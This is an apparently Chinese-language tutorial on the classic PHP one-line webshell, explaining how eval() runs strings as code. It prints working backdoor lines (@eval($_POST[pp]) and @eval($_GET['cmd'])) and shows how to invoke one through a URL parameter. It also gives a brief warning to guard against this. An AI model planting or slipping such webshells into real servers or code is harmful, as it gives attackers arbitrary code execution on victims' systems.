<?php @eval($_POST[pp]);?>
這是一段PHP木馬代碼,也就是我們所說的后門程序
為什么說這段代碼是后門程序?
其實這段代碼屬於基礎類的一句話,功能僅限於驗證漏洞了,實際中太容易被查出來了,
這個是PHP最常見的一句話木馬的源碼,通過post木馬程序來實現木馬的植入,eval()函數把字符串按照PHP代碼來計算
就這一句話害死人,這樣任何人都可以post任何文件上來,所以要做好防范
eval函數
eval() 函數把字符串按照 PHP 代碼來執行
該字符串必須是合法的 PHP 代碼,且必須以分號結尾
如果沒有在代碼字符串中調用 return 語句,則返回 NULL
如果代碼中存在解析錯誤,則 eval() 函數返回 false
eval函數的一般用法
一般用法也就是平時我們所用的,但是感覺我都不用這個函數,作用相當於Python中的format
函數,格式化字符串
<?php $string = "beautiful"; $time = "summer"; $str = 'This is a $string $time morning!'; echo $str. "<br />"; eval("\$str = \"$str\";"); echo $str; ?>
結果輸出:
This is a $string $time morning!
This is a beautiful summer morning!
eval函數的特殊用法
這就是二般人的用法了,一句話木馬下面我們直接來看實例,新建一個php文件,寫入如下代碼
<?php @eval($_GET["cmd"]); ?>
加上@符來抑制錯誤輸出,來訪問?cmd=echo 'hello,world!';
這個路徑,就會看到輸出
查看PHP的信息:pathinfo()
post提交同理,原理就是上面說的,將字符串按照 PHP 代碼來執行了,這是最簡單的一種PHP一句話木馬程序代碼,也感覺是最弱智的。。。